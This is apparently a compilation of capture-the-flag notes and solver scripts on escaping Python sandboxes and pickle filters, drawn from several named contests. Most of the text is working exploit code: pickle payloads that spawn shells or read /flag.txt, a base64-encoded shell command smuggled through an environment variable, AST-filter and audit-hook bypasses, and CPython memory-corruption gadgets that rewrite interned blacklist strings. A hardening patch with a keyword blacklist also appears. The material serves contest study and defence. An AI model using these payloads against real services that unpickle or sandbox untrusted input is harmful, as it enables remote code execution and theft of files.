# a9:   TYPE_TUPLE v4
# 28:(: TYPE_TUPLE
# 75:u: TYPE_UNICODE
# 4e:N: TYPE_NONE

# python <= 3.10
tt = b'e3000000000000000000000000000000000000000000000000f30a00000090aa90bb90cc64dd5300a9007202000000720200000072020000007202000000da00720300000000000000f300000000'
# python <= 3.10
tt = b'63000000000000000000000000000000000000000000000000730a00000090aa90bb90cc64dd530028000000002800000000280000000028000000002800000000750b0000002f6170702f6578702e7079750500000064756d6d792900000073020000000401'
# python >= 3.11
#     |type|--------------------|-code location----------|-------string ptr-------|sep|--------------tuple args---------------|------------path-----------------|------func name----|-----func name2------------|-----------i don't know ---------|
tt = b'630000000000000000000000000100000003000000        730a00000090aa90bb90cc64dd53002800000000280000000028000000007300000000750c000000706174682f746f2f66696c65750500000064756d6d79750500000064756d6d792900000073070000008000d8040880447300000000'
tt = tt.replace(b" ", b"")
def i2h(x):
    global b
    return b.hex(x)[2:].rjust(2, "0").encode()
tt = tt.replace(b"aa", i2h((offset >> 24) & 0xFF)).replace(b"bb", i2h((offset >> 16) & 0xFF)).replace(b"cc", i2h((offset >> 8) & 0xFF)).replace(b"dd", i2h((offset >> 0) & 0xFF))

print(tt)
bs = bytes.fromhex(tt.decode())
co = marshal.loads(bs)
b.setattr(dummy, "_" * 2 + "code" + "_" * 2, co)
magic = dummy()

# You can determine how much padding required here
print("sanity check")
test = magic[id("peko") : id("peko") + 64]
padding = test.find(b"peko")
print("padding:", padding)

target_strs = [
    "import",
    "spawn",
    "process",
    "os",
    "sys",
    "cpython",
    "fork",
    "open",
    "interpreter",
    "ctypes",
    "compile",
    "gc",
    "_" * 2 + "new" + "_" * 2,
]
# Overide array val that has target_strs value
for s in target_strs:
    addr = id(s)
    magic[addr + 48 : addr + 48 + len(s)] = b"a" * len(s)

os = b.getattr(b, "_" * 2 + "import" + "_" * 2)("os")
os.system('id')

factorization = lambda x: (1,1)

Python bug to mutate immutable object

dikasih tau lunaroa https://bugs.python.org/issue43838

AST Bypass

uictf 2024 challenge astea

import ast

def safe_import():
  print("Why do you need imports to make tea?")

def safe_call():
  print("Why do you need function calls to make tea?")

class CoolDownTea(ast.NodeTransformer):
  def visit_Call(self, node: ast.Call) -> ast.AST:
    return ast.Call(func=ast.Name(id='safe_call', ctx=ast.Load()), args=[], keywords=[])

  def visit_Import(self, node: ast.AST) -> ast.AST:
    return ast.Expr(value=ast.Call(func=ast.Name(id='safe_import', ctx=ast.Load()), args=[], keywords=[]))

  def visit_ImportFrom(self, node: ast.ImportFrom) -> ast.AST:
    return ast.Expr(value=ast.Call(func=ast.Name(id='safe_import', ctx=ast.Load()), args=[], keywords=[]))

  def visit_Assign(self, node: ast.Assign) -> ast.AST:
    return ast.Assign(targets=node.targets, value=ast.Constant(value=0))

  def visit_BinOp(self, node: ast.BinOp) -> ast.AST:
    return ast.BinOp(left=ast.Constant(0), op=node.op, right=ast.Constant(0))

# code = input('Nothing is quite like a cup of tea in the morning: ').splitlines()[0]
with open('solve.py') as f:
  code = f.read()
cup = ast.parse(code)
cup = CoolDownTea().visit(cup)
ast.fix_missing_locations(cup)

exec(compile(cup, '', 'exec'), {'__builtins__': {}}, {'safe_import': safe_import, 'safe_call': safe_call})

solve


for safe_call in [safe_call.__globals__['__builtins__'].breakpoint]: [__builtins__['__import__'] for __builtins__['__import__'] in [safe_import.__globals__['__builtins__'].__import__]];safe_call()
for safe_call.__globals__["ast"].sys.modules["io"].RawIOBase.__class_getitem__ in [safe_call.__globals__["ast"].sys.modules["os"].system]:pass;{eee:=safe_call.__globals__["ast"].sys.modules["io"].RawIOBase};eee["cat flag.txt"];
__builtins__ |= safe_import.__builtins__; [~help for help.__class__.__invert__ in [breakpoint]]

Pickle Eval

UICTF 2024 challenge Push and Pickle

import pickle
import base64
import sys
import pickletools

def check_flag(flag_guess: str):
  """REDACTED FOR PRIVACY"""

cucumber = base64.b64decode(input("Give me your best pickle (base64 encoded) to taste! "))

for opcode, _, _ in pickletools.genops(cucumber):
  if opcode.code == "c" or opcode.code == "\x93":
    print("Eww! I can't eat dill pickles.")
    sys.exit(0)

pickle.loads(cucumber)

Solver

pickle code is b'(S"__import__(\\"os\\").system(\\"sh\\")"\nibuiltins\nexec\n.'

 0: (    MARK
 1: S        STRING     '__import__("os").system("sh")'
34: i        INST       'builtins exec' (MARK at 0)
49: .    STOP```

Another

from pickleassem import PickleAssembler

pa = PickleAssembler(proto=4)
pa.push_mark()
pa.util_push('cat chal.py')
pa.build_inst('os', 'system')
payload = pa.assemble()
print(payload)
payload = b'cos\nsystem\n(S"ls"\ntR.'
print(pickle.loads(payload))

Pickle RCE with restriction

Event NameINFOBAHN CTF 2025
GitHub URL-
Challenge Namevery safe pickle
Attachments
References

solution 1

misc/very safe pickle [Unintended solution]

import pickle
import requests

URL = "<http://localhost:8000>"

pkl_int = lambda s: pickle.INT + b"%r\n" % s
pkl_str = lambda s: pickle.STRING + b"%r\n" % s
pkl_import = lambda module, attr: pkl_str(module) + pkl_str(attr) + pickle.STACK_GLOBAL

data = b""

# Force python impl
data += pkl_import("tracemalloc", "pickle")
data += pickle.EMPTY_DICT
data += pkl_str("loads")
data += pkl_import("pickle", "_loads")
data += pickle.SETITEM
data += pickle.BUILD

# Assign '~' to be REDUCE
data += pkl_import("sys", "modules")
data += pkl_str("tmp")
data += pkl_import("pickle", "_Unpickler")
data += pickle.SETITEM

data += pkl_import("tmp", "dispatch")
data += pkl_int(ord('~'))
data += pkl_import("tmp", "load_reduce")
data += pickle.SETITEM

data = data.replace(b"o", b"\\x6f").replace(b"i", b"\\x69")
requests.post(URL, data=data + pickle.STOP)


data = b""
data += pkl_import("builtins", "eval")
data += pkl_str("open('/flag.txt').read()")
data += pickle.TUPLE1
data += b"~"  # The new REDUCE instruction

data = data.replace(b"o", b"\\x6f").replace(b"i", b"\\x69")
print(requests.post(URL, data=data + pickle.STOP).text)
solution 2

very safe pickle [Misc] Unintended solution

#!/usr/bin/env python3
import pickle, pickletools, requests

s = requests.Session()

def esc(s: bytes) -> bytes:
    # turn b"os" -> b"\\u006f\\u0073" etc (no raw 'i', 'o', 'R', 0x81, 0x82)
    return b"".join([("\\u00" + hex(i).replace("0x", "")).encode() for i in s])

# --- part 1: os.environ["BROWSER"] = '/bin/sh -c "touch /tmp/pwned" #%s' ---

os_mod      = esc(b"os")
environ_att = esc(b"environ")

BROWSER = esc(b"BROWSER")
COMMAND = esc(b"/bin/sh -c 'echo ZWNobyBGTEFHPSInJChjYXQgL2ZsYWcudHh0KSciID4gdGVzdC5weQ== | base64 -d | sh' #%s")

# --- part 2: import antigravity (via antigravity.__doc__) ---

antigrav_mod = esc(b"antigravity")
doc_att      = esc(b"__doc__")


test_mod = esc(b"test")
flag_att      = esc(b"FLAG")

merged_payload = (
    b"\x80\x04"  # PROTO 4

    # ----- payload1 body -----
    # STACK_GLOBAL(os_mod, environ_att) -> os.environ
    b"V" + os_mod      + b"\n\x94"
    b"V" + environ_att + b"\n\x94"
    b"\x93\x94"  # STACK_GLOBAL + MEMOIZE (memoize environ)

    # push key/value: "BROWSER", COMMAND
    b"V" + BROWSER + b"\n"
    b"V" + COMMAND + b"\n"

    b"s"  # SETITEM -> os.environ["BROWSER"] = COMMAND
    b"\x94" # deleted
    # ----- payload2 body -----
    # STACK_GLOBAL(antigrav_mod, "__doc__") -> antigravity.__doc__
    b"V" + antigrav_mod + b"\n\x94"
    b"V" + doc_att      + b"\n\x94"
    b"\x93\x94"  # STACK_GLOBAL + MEMOIZE

    b"V" + test_mod      + b"\n\x94"
    b"V" + flag_att + b"\n\x94"
    b"\x93\x94"
    b"."  # STOP
)

print(merged_payload)
print("=== Disassembly 1 ===")
#pickletools.dis(merged_payload) # <https://zvektypx.instances.infobahnc.tf>

# 3. Send to the challenge HTTP server
r = s.post("https://<host-id>.instances.infobahnc.tf/", data=merged_payload)
print("Status:", r.status_code)
print("Body:  ", r.content)

solution 3

Misc/Very Safe Pickle

import requests, pickle
import struct

data = b''
data += pickle.PROTO + b'\\x04'
data += pickle.STRING + b'"__ma\\\\x69n__"\\n'
data += pickle.STRING + b'"__d\\\\x69ct__"\\n'
data += pickle.STACK_GLOBAL
data += pickle.STRING + b'"f\\\\x6frb\\\\x69dden"\\n'
data += pickle.BINBYTES + b"\\x00\\x00\\x00\\x00"
data += b""
data += pickle.SETITEM
data += pickle.STOP

URL = "<https://zfxegnmo.instances.infobahnc.tf>"
# URL = "<http://localhost:8000>"
res = requests.post(URL, data=data)
print("Stage 1")
print(res.text)

data = b''
data += pickle.PROTO + b'\\x04'
data += pickle.GLOBAL + b'subprocess\\ncheck_output\\n'
data += pickle.MARK
data += pickle.BINUNICODE + struct.pack('<I', 3) + b'cat'
data += pickle.BINUNICODE + struct.pack('<I', 9) + b'/flag.txt'
data += pickle.LIST
data += pickle.TUPLE1
data += pickle.REDUCE
data += pickle.STOP

res = requests.post(URL, data=data)
print("Stage 2")
print(res.text)
solution 4 (itended)

Very Safe Pickle (Intended)

I've seen a lot of unintended solutions. I'd love to see them all!

import pickle
from struct import pack
import requests

URL = "<https://gddmtwqa.instances.infobahnc.tf/>"


def pklstr(s):
    s = s.encode()
    return pickle.SHORT_BINUNICODE + pack("<B", len(s)) + s

def escape(s):
    return "".join([f"&#{ord(c)};" for c in s])
code = f'open("/flag.txt").read()'

payload = (
    pickle.GLOBAL + b"re\\nenum\\n" + # This can be any thing as long as it's a module inside a module and written in python
    pickle.MARK +
    pklstr("__getattr__") +
    pickle.GLOBAL + b"html\\nunescape\\n" +
    pickle.DICT +
    pickle.BUILD +
    pickle.GLOBAL + f"enum\\n{escape("builtins")}\\n".encode() +
    pklstr("eval") +
    pickle.STACK_GLOBAL +
    pickle.MEMOIZE +

    pickle.GLOBAL + b"ctypes\\n_types\\n" + # This can be any thing as long as it's a module inside a module and written in python
    pickle.MARK +
    pklstr("__getattr__") +
    pickle.BINGET + pack('b', 0) +
    pickle.DICT +
    pickle.BUILD +
    pklstr("types") +
    pickle.GLOBAL + f"enum\\n{escape(code)}\\n".encode() +
    pickle.STACK_GLOBAL +

    pickle.STOP
)

r = requests.post(URL, data=payload)
print(r.text)

get rce if `subclasses` is blocked

idekctf 2024 web/crator

open is from specially crafted function

unitended solution

import httpx
import asyncio
import html

URL = "http://localhost:1337"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url, follow_redirects=True)
    def register(self, username, password):
        return self.c.post("/register", data=dict(
            username=username,
            password=password
        ))
    def login(self, username, password):
        return self.c.post("/login", data=dict(
            username=username,
            password=password
        ))
    def submit(self, id, code):
        return self.c.post(f"/submit/{id}", data=dict(
            code=code
        ))

class API(BaseAPI):
    ...

async def main():
    api = API()
    creds = "foobar"
    await api.register(creds, creds)
    await api.login(creds, creds)

    res = await api.submit("helloinput", """
open = open.__closure__[0].cell_contents
io = open.__self__
io.__spec__.name = 'sys'
sys = io.__loader__.create_module(io.__spec__)
io.__loader__.exec_module(io)

sys.modules['os'].system('cat /tmp/*.expected | grep "idek"')
""")
    print(html.unescape(res.text))

if __name__ == "__main__":
    asyncio.run(main())

another solution

I used open("/etc/passwd").buffer.raw.__class__("/tmp/2.expected", "r") to create a FileIO object and same for writing the flag to some other location, which I could print and read from web interface


Solution using PWN stuff to bypass the sandbox

import httpx
import asyncio
import html

URL = "http://localhost:1337"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url, follow_redirects=True)
    def register(self, username, password):
        return self.c.post("/register", data=dict(
            username=username,
            password=password
        ))
    def login(self, username, password):
        return self.c.post("/login", data=dict(
            username=username,
            password=password
        ))
    def submit(self, id, code):
        return self.c.post(f"/submit/{id}", data=dict(
            code=code
        ))

class API(BaseAPI):
    ...

async def main():
    api = API()
    creds = "foobar"
    await api.register(creds, creds)
    await api.login(creds, creds)

    res = await api.submit("helloinput", """
def __index__(self):
    global memory
    uaf.clear()
    memory = bytearray()
    uaf.extend([0] * 56)
    return 1

UAF = ().__class__.__class__('UAF', (), {
    '__index__': __index__
})

uaf = bytearray(56)
uaf[23] = UAF()

print(id(0))
def p64(value):
    return bytes([(value >> (i * 8)) & 0xFF for i in range(8)])


wow = ().__class__.__class__("wow", (), {})
print(wow)

system_addr = id(0) - 0x653b58

sys = p64(system_addr)
command = b"id".ljust(8,b"\\x00")
command = chr(command[0]-2).encode()+command[1::]
for x in range(8):
    memory[id(wow) + 24 + 14*8 + x] = sys[x] # Overwriting tp_repr


fake = wow()

for x in range(len(command)):
     memory[id(fake) + x] = command[x] # Overwriting ob_refcnt
input("...")
print(fake)
""")
    print(html.unescape(res.text))

if __name__ == "__main__":
    asyncio.run(main())

if forloop blacklisted we can use lambda generator like this

Image
>>> (lambda**x:(lambda x,y:x)(*x.popitem()))(sesuatu=None)
'sesuatu'

Pickle documentation by legoclones

I tried looking for memory corruption bugs that would allow RCE even with sanitized find_class(), but only found some low impact memory leaks 😦

I've spent a lot of my time looking for discrepancies between the C unpickler and python unpickler and have found a lot, leading to 15 different root causes and therefore 15 bugs to fix but changing stuff in python source code can take forever

Something py jail

#!/usr/local/bin/python3 -u
import json
import builtins

def choose_cell():
    print("Choose your cell")
    while True:
        inp = input('> ')
        if hasattr(builtins,inp):
            return inp
        print("I don't think that cell would hold you")

def choose_inmate(ok):
    print("Choose your inmate")
    while True:
        inp = input('> ')
        if hasattr(type(ok),inp):
            return inp
        print("No that inmate is in solitary")

def name_registration():
    print("What is your name?")
    while True:
        inp = input('> ')
        try:
            return json.loads(inp)
        except: pass
        print("Is that an alias or...")

def checkin():
    print("How are you doing?")
    allowed = set('~(0)|<')
    while True:
        inp = input('> ')
        if set(inp) <= allowed:
            try:
                print(inp)
                return eval(inp)
            except:
                print('Wow must be rough')
        else:
            print('This may be the wrong jail for you.')

def main():
    print("Welcome to the OK Jail!")
    print("Let's hope you won't be staying long...\n")
    
    ok = checkin()
    name = name_registration()
    inmate = choose_inmate(ok)
    cell = choose_cell()

    jail = f'builtins.{cell}(ok.{inmate}(*{name}))'
    print(jail)
    try:
        eval(jail)
    except:
        print("JAILBREAK DETECTED")
    
    
if __name__ == "__main__":
    main()
from pwn import *
import json

def generate_expression(target):
    """Generates an expression using (~0<0), <<, and | to obtain the target number."""
    base = "(~0<0)"  # Equivalent to 1
    expr = ""
    
    binary = bin(target)[2:]  # Convert target number to binary
    expr_parts = []  # Store individual bitwise shifts
    
    for i, bit in enumerate(reversed(binary)):  # Process bits from LSB to MSB
        if bit == "1":
            if i == 0:
                expr_parts.append(base)  # 1
            else:
                shift_expr = base  # Start with 1
                for _ in range(i):  # Apply left shifts
                    shift_expr = f"({shift_expr}<<{base})"
                expr_parts.append(shift_expr)
    
    expr = "|".join(expr_parts)  # Join with bitwise OR
    return expr

# Example Usage:
string = "breakpoint()"
utf8_bytes = list(string.encode('utf-8'))

# Convert the UTF-8 byte representation into an integer
packed_integer = int.from_bytes(utf8_bytes, byteorder='big')
target_number = packed_integer  # Change this to any number you want
expression = generate_expression(target_number)

io = remote('chal.bearcatctf.io', 35707)
# io = process(['python3', 'jail.py'])

io.sendline(expression)

io.sendline('['+str(len(string))+',"big"]')
io.sendline(b'to_bytes')
io.sendline(b'eval')
io.sendline(b'import os;os.system("sh")')

io.interactive()

Pickle jail idea

CyberSpace CTF 2024 - repickle (jail)

Mutable _sitebuiltins.Quitter disables an audit-hook blacklist

Event Name-
GitHub URL-
Challenge NamePython Pwned
Attachments
  • Manual upload: app.py
  • Manual upload: Dockerfile
  • Manual upload: solve.py
References

  • Root cause: the hook captures builtins['exit'], which is a mutable _sitebuiltins.Quitter instance. It does not capture an immutable termination primitive.
  • Exploit chain: recover the already-loaded builtins module through BuiltinImporter, replace Quitter.__call__ with a no-op, then use normal open/os.system operations. Blacklisted audit events still run the hook, but _exit(1) now returns.
  • Validation: clean python:3.12-alpine image (Python 3.12.13), real socat TCP service, no race or brute force. The payload returned /flag.txt.
  • Caveat: this path relies on normal site initialization providing builtins.exit; the supplied image does so.
why it is vulnerable
def auditor(builtins):
    # copy() duplicates the dict, but this value is still the same live Quitter object.
    _exit = builtins['exit']
    blackListPattern = ['process', 'os', 'sys', 'interpreter', 'cpython',
                        'compile', 'open', '__new__', 'gc']

    def func(event, args):
        event_args_str = str(event) + ''.join(str(s) for s in args)
        for pattern in blackListPattern:
            if pattern in event_args_str:
                # Special-method lookup uses type(_exit).__call__, which user code can patch.
                _exit(1)
    return func

sys.addaudithook(auditor(__builtins__.__dict__.copy()))
# Empty builtins do not prevent traversal from literals to object subclasses.
exec(code, {'__builtins__': {}}, {})
exploit payload
b=[x for x in ().__class__.__base__.__subclasses__() if x.__name__=='BuiltinImporter'][0].load_module('builtins');b.exit.__class__.__call__=lambda s,c=None:None;b.print(b.open('/flag.txt').read())
solver
#!/usr/bin/env python3
"""Exploit the Python Pwned audit-hook jail over its TCP service."""

from __future__ import annotations

import argparse
import socket
import sys


def build_payload(flag_path: str) -> str:
    return (
        "b=[x for x in ().__class__.__base__.__subclasses__() "
        "if x.__name__=='BuiltinImporter'][0].load_module('builtins');"
        "b.exit.__class__.__call__=lambda s,c=None:None;"
        f"b.print(b.open({flag_path!r}).read())"
    )


def receive_all(sock: socket.socket) -> bytes:
    chunks: list[bytes] = []
    while True:
        try:
            chunk = sock.recv(4096)
        except TimeoutError:
            break
        if not chunk:
            break
        chunks.append(chunk)
    return b"".join(chunks)


def main() -> int:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("host", nargs="?", default="127.0.0.1")
    parser.add_argument("-p", "--port", type=int, default=25776)
    parser.add_argument("--flag-path", default="/flag.txt")
    parser.add_argument("--timeout", type=float, default=5.0)
    parser.add_argument("--show-payload", action="store_true")
    args = parser.parse_args()

    payload = build_payload(args.flag_path)
    if args.show_payload:
        print(payload, file=sys.stderr)

    try:
        with socket.create_connection((args.host, args.port), args.timeout) as sock:
            sock.settimeout(args.timeout)
            sock.sendall(payload.encode() + b"\n")
            response = receive_all(sock)
    except OSError as exc:
        parser.error(f"could not exploit {args.host}:{args.port}: {exc}")

    if response.startswith(b"$ "):
        response = response[2:]
    sys.stdout.buffer.write(response)
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Audit-argument spoofing + raw _posixsubprocess.fork_exec

Event Name-
GitHub URL-
Challenge NamePython Pwned v2
Attachments
References

  • Root cause: the blacklist compares substrings against str(event) plus str() of every audit argument. A str subclass can return benign text from __str__ while an extension loader still consumes the object's real Unicode value.
  • Exploit chain: recover real builtins through the already-loaded BuiltinImporter; wrap both _posixsubprocess and its .cpython-...so path in the spoofing subclass; load the extension through the frozen loader; call its low-level fork_exec directly to run /bin/cat /flag.txt.
  • Why the v2 patch is insufficient: immutable SystemExit closes the old mutable-site.exit bypass, but the decisive import event remains named only import, its blacklisted arguments are spoofable, and raw fork_exec emits neither subprocess.Popen nor os.exec.
  • Validation: clean supplied python:3.12-alpine image, real socat TCP service, one attempt, no race or brute force; the payload returned the flag and the child exited with status 0.
  • Caveat: this exact chain is CPython/POSIX-specific and assumes the standard lib-dynload layout plus the shipped _posixsubprocess extension. The payload derives the Python version and extension suffix at runtime.
why it is vulnerable
def func(event, args):
    # Trust bug: str(arg) is not a canonical representation for str subclasses.
    event_args_str = _str(event) + "".join(_str(s) for s in args)
    for pattern in blacklist_patterns:
        if pattern in event_args_str:
            raise _system_exit(1)

# Empty builtins still leave object-graph traversal available from literals.
exec(code, {'__builtins__': {}}, {})
exploit payload
b=[x for x in ().__class__.__base__.__subclasses__() if x.__name__=='BuiltinImporter'][0].load_module('builtins');s=b.__import__('sys');S=b.type('S',(b.str,),{'__str__':lambda x:'x'});n=S('_posixsubprocess');v=b.str(s.version_info.major)+'.'+b.str(s.version_info.minor);p=S(s.base_prefix+'/lib/python'+v+'/lib-dynload/_posixsubprocess'+s.modules['_imp'].extension_suffixes()[0]);e=s.modules['_frozen_importlib_external'];i=s.modules['_frozen_importlib'];l=e.ExtensionFileLoader(n,p);q=i.ModuleSpec(n,l,origin=p);m=l.create_module(q);l.exec_module(m);o=s.modules['posix'];r,w=o.pipe();z=m.fork_exec([b'/bin/cat',b'/flag.txt'],(b'/bin/cat',),True,(w,),None,None,-1,-1,-1,-1,-1,-1,r,w,True,False,-1,None,None,None,-1,None,False);o.close(w);o.waitpid(z,0)
solver
#!/usr/bin/env python3
"""Exploit the hardened Python Pwned v2 audit-hook jail."""

from __future__ import annotations

import argparse
import re
import socket
import sys


FLAG_RE = re.compile(rb"[A-Za-z0-9_]+\{[^}\r\n]+\}")


def build_payload(flag_path: str) -> str:
    """Build the one-line program consumed by app.py's input() call."""
    command = repr(b"/bin/cat")
    target = repr(flag_path.encode())

    parts = [
        # Recover real builtins through the already-loaded frozen importer.
        "b=[x for x in ().__class__.__base__.__subclasses__() "
        "if x.__name__=='BuiltinImporter'][0].load_module('builtins')",
        "s=b.__import__('sys')",
        # The audit hook applies str() to event arguments.  These strings keep
        # their dangerous underlying value while rendering as harmless text.
        "S=b.type('S',(b.str,),{'__str__':lambda x:'x'})",
        "n=S('_posixsubprocess')",
        "v=b.str(s.version_info.major)+'.'+b.str(s.version_info.minor)",
        "p=S(s.base_prefix+'/lib/python'+v+"
        "'/lib-dynload/_posixsubprocess'+"
        "s.modules['_imp'].extension_suffixes()[0])",
        "e=s.modules['_frozen_importlib_external']",
        "i=s.modules['_frozen_importlib']",
        "l=e.ExtensionFileLoader(n,p)",
        "q=i.ModuleSpec(n,l,origin=p)",
        "m=l.create_module(q)",
        "l.exec_module(m)",
        # fork_exec() is the low-level implementation beneath subprocess and
        # does not emit subprocess.Popen or os.exec audit events itself.
        "o=s.modules['posix']",
        "r,w=o.pipe()",
        f"z=m.fork_exec([{command},{target}],({command},),True,(w,),"
        "None,None,-1,-1,-1,-1,-1,-1,r,w,True,False,-1,"
        "None,None,None,-1,None,False)",
        "o.close(w)",
        "o.waitpid(z,0)",
    ]
    payload = ";".join(parts)
    if "\n" in payload or "\r" in payload:
        raise ValueError("payload must fit on one input line")
    return payload


def receive_until(sock: socket.socket, marker: bytes) -> bytes:
    data = bytearray()
    while marker not in data:
        chunk = sock.recv(4096)
        if not chunk:
            break
        data.extend(chunk)
    return bytes(data)


def receive_all(sock: socket.socket) -> bytes:
    data = bytearray()
    while True:
        try:
            chunk = sock.recv(4096)
        except TimeoutError:
            break
        if not chunk:
            break
        data.extend(chunk)
    return bytes(data)


def main() -> int:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("host", nargs="?", default="127.0.0.1")
    parser.add_argument("-p", "--port", type=int, default=25776)
    parser.add_argument("--flag-path", default="/flag.txt")
    parser.add_argument("--timeout", type=float, default=5.0)
    parser.add_argument("--show-payload", action="store_true")
    args = parser.parse_args()

    payload = build_payload(args.flag_path)
    if args.show_payload:
        print(payload, file=sys.stderr)

    try:
        with socket.create_connection((args.host, args.port), args.timeout) as sock:
            sock.settimeout(args.timeout)
            receive_until(sock, b"$ ")
            sock.sendall(payload.encode() + b"\n")
            response = receive_all(sock)
    except OSError as exc:
        parser.error(f"could not exploit {args.host}:{args.port}: {exc}")

    match = FLAG_RE.search(response)
    if match is None:
        sys.stderr.buffer.write(b"target response: " + response + b"\n")
        parser.error("exploit ran, but no flag-shaped value was returned")

    sys.stdout.buffer.write(match.group(0) + b"\n")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Canonical audit-event filtering while preserving the intended memory exploit

Event Name-
GitHub URL-
Challenge NamePython Pwned v2 hardening
Attachments
References

  • Root cause fixed: concatenating str(event) with str(arg) trusted attacker-controlled rendering. A str subclass could display benign text while ExtensionFileLoader consumed its real _posixsubprocess name and .cpython-...so path.
  • Hardening: inspect only CPython's canonical audit event name through the captured str.__contains__ descriptor; never stringify audit arguments; use immutable SystemExit; reject every dynamic import; restore the intended spawn, fork, and ctypes event families.
  • Why import is decisive: _imp.create_dynamic emits import before the extension is created. Raw _posixsubprocess.fork_exec itself is unaudited, so it must be made unreachable rather than filtered after loading.
  • Intended route preserved: solver/solver.py corrupts the interned blacklist strings through its CPython memory primitive, then uses the already-loaded os module. It does not require a new import event.
  • Validation: Python 3.12.13 Alpine image and real socat service. Safe code passed; mutable-exit, direct open, direct os.system, and extension-loader payloads exited 1 without a flag; the exact intended payload exited 0 and returned the flag. No race or brute force.
  • Caveat: the intended solver is CPython patch/layout-sensitive and can segfault on the host's Python 3.12.3; validate it in the supplied image.
  • Scope boundary: this hardening intentionally preserves the arbitrary-memory-write challenge class. A different memory-corruption gadget can still patch the hook state; eliminating all such variants would also invalidate the intended solver and requires changing the challenge premise, not only the audit filter.
why it was vulnerable
def func(event, args):
    # Both calls below dispatch attacker-controlled __str__ implementations.
    event_args_str = str(event) + "".join(str(arg) for arg in args)
    for pattern in blacklist_patterns:
        if pattern in event_args_str:
            raise SystemExit(1)
exploit payload (now blocked)
b=[x for x in ().__class__.__base__.__subclasses__() if x.__name__=='BuiltinImporter'][0].load_module('builtins');s=b.__import__('sys');S=b.type('S',(b.str,),{'__str__':lambda x:'x'});n=S('_posixsubprocess');v=b.str(s.version_info.major)+'.'+b.str(s.version_info.minor);p=S(s.base_prefix+'/lib/python'+v+'/lib-dynload/_posixsubprocess'+s.modules['_imp'].extension_suffixes()[0]);e=s.modules['_frozen_importlib_external'];i=s.modules['_frozen_importlib'];l=e.ExtensionFileLoader(n,p);q=i.ModuleSpec(n,l,origin=p);m=l.create_module(q);l.exec_module(m);o=s.modules['posix'];r,w=o.pipe();z=m.fork_exec([b'/bin/cat',b'/flag.txt'],(b'/bin/cat',),True,(w,),None,None,-1,-1,-1,-1,-1,-1,r,w,True,False,-1,None,None,None,-1,None,False);o.close(w);o.waitpid(z,0)
hardening patch
#!/bin/env python3
import sys

def auditor(builtins):
    # site.exit is a mutable Quitter instance, so keep the hook state immutable.
    _system_exit = builtins['SystemExit']
    # Call the real str implementation directly.  Audit arguments can contain
    # attacker-created str subclasses whose __str__/__contains__ methods lie.
    _str_contains = builtins['str'].__contains__
    blacklist_patterns = (
        'spawn', 'process', 'os', 'sys', 'cpython', 'fork', 'open',
        'interpreter', 'ctypes', 'compile', 'gc', '__new__', 'import',
    )

    def func(event, args):
        # Security decisions use only CPython's canonical event name.  Calling
        # str() on arbitrary arguments both executes attacker code and lets a
        # str subclass hide the value consumed later by a C API.  Blocking the
        # import event also closes raw extension-loader audit gaps such as
        # directly invoking _posixsubprocess.fork_exec().
        for pattern in blacklist_patterns:
            if _str_contains(event, pattern):
                raise _system_exit(1)

    return func

codes = input('$ ')

code = compile(codes, "<code>", "exec")
sys.addaudithook(auditor(__builtins__.__dict__.copy()))
exec(code,{'__builtins__':{}},{})
solver / regression
docker build -t python-pwned-v2-hardened .
python3 regression_harness.py --docker-image python-pwned-v2-hardened --timeout 20
# Expected: 6/6 passed; only official_memory_corruption_solver returns the flag.

Forged STORE_ATTR_SLOT mutates an audit-hook blacklist tuple

Event Name-
GitHub URL-
Challenge NamePython Pwned v2 (hardened)
Attachments
References

  • Root cause: marshal.loads validates code-object metadata but not semantic opcode/cache combinations. A forged specialized STORE_ATTR_SLOT survives quickening and performs a raw PyObject * write at owner + cache.index after checking only owner's type-version tag.
  • Exploit chain: recover builtins and the hook's constant blacklist tuple; specialize tuple.count to disclose tuple's live tp_version_tag; marshal-patch a lambda with opcode 0x94; point its slot offset at the tuple's "open" element; replace that pointer with "x"; call ordinary open('/flag.txt').
  • Refcounts remain valid: the specialized store transfers the loaded replacement reference into the tuple, decrefs the old "open" string, and decrefs only the temporary owner reference.
  • Validation: deterministic against the supplied python:3.12-alpine image (Python 3.12.13) and real socat service; repeated fresh connections returned the flag. No ASLR guess, brute force, race, or checkpoint is involved.
  • Caveat: opcode 0x94, adaptive-cache offsets, and marshal behavior are private CPython 3.12 implementation details. The payload derives the tuple version tag, byte order, basic size, and item size at runtime.
why it is vulnerable
def func(event, args):
    for pattern in blacklist_patterns:
        # Canonical event matching is sound, but assumes this tuple cannot change.
        if str.__contains__(event, pattern):
            raise SystemExit(1)

# The same tuple is reachable through auditor.__code__.co_consts.
# Forged STORE_ATTR_SLOT bypasses tuple immutability and rewrites one ob_item pointer.
exploit payload
b=[x for x in ().__class__.__base__.__subclasses__() if x.__name__=='BuiltinImporter'][0].load_module('builtins');s=b.__import__('sys');m=s.modules['marshal'];t=[x for x in s.modules['__main__'].auditor.__code__.co_consts if b.isinstance(x,b.tuple) and 'open' in x][0];g=lambda x:x.count(None);[g(t) for _ in [0]*100];a=g.__code__._co_code_adaptive;c=(lambda:(v,o,v,o)).__code__;i=b.tuple.__basicsize__+t.index('open')*b.tuple.__itemsize__;r=b'\x97\x00\x74\x00'+b'\x09\x00'*4+b'\x74\x02'+b'\x09\x00'*4+b'\x94\x00\x09\x00'+a[8:12]+i.to_bytes(2,s.byteorder)+b'\x79\x00';r+=b'\x09\x00'*((b.len(c.co_code)-b.len(r))//2);q=m.dumps(c);j=q.find(c.co_code);e=m.loads(q[:j]+r+q[j+b.len(r):]);b.eval(e,{'v':'x','o':t,'__builtins__':{}});b.print(b.open('/flag.txt').read())
solver
# Use the attached exact client; no third-party packages are required.
python3 python-pwned-v2-store-attr-slot-exploit.py.txt HOST -p PORT

# Local supplied service:
docker build -t python-pwned-v2-local .
docker run --rm -p 25776:6000 python-pwned-v2-local
python3 python-pwned-v2-store-attr-slot-exploit.py.txt 127.0.0.1 -p 25776

Forged bytearray view mutates a shared frozenset blacklist key

Event Name-
GitHub URL-
Challenge NamePython Pwned v2 (frozenset hardening)
Attachments
References

  • Root cause: constructing a new frozenset separates the container from the compiler-owned tuple, but it retains the exact same interned string objects. The hook therefore still trusts policy data whose inline bytes are reachable from auditor.__code__.co_consts.
